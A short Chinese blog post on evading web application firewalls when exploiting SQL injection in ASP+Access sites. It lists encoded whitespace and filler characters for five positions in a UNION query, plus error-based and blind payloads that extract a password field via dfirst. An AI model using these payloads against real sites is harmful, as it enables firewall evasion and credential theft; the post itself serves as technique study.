0x01 前言

我们经常利用一些数据库特性来进行WAF绕过。Access通常与ASP搭配，以及少的可怜的几点特性。

为了文章的完整性，我们来测试一下access的特性。

0x02 测试

常见有5个位置即：select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

位置一：参数和union之间的位置

（1）空白字符

Access可以利用的空白字符有：%09、%0a、%0c、%0d、%16

（2）%3b

位置二：union和select之间的位置

（1）空白字符

Access可以利用的空白字符有：%09、%0a、%0c、%0d

位置三：select和查询参数之间的位置

（1）空白字符

Access可以利用的空白字符有：%09、%0a、%0c、%0d

（2）其他字符

%2b、%2d、%2e、%3d

位置四：查询参数和from之间的位置

（1）空白字符

Access可以利用的空白字符有：%09、%0a、%0c、%0d

位置五：from后面的位置

（1）空白字符

Access可以利用的空白字符有：%09、%0a、%0c、%0d

0x03 技巧

ACCESS无select SQL注射

1、需要报错

select * from idea_user where id=3+(dfirst([password],([idea_user]![password])))

2、盲注

```
select * from idea_user where id=3+asc(mid((dfirst("[password]","[idea_user]")),1,1))-101
```

password字段第一个字符为e，对应ascii为101，所以id=3+101-101 还是等于3，页面返回正常

0x04 结束

在ASP+Access的注入点，猜表猜字段就让人很绝望，如果此时加上一层WAF的话，简直不忍直视。

如果你利用了Mysql/MSsql的特性，那么在平移到Access的时候，很可能是不适用的。

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。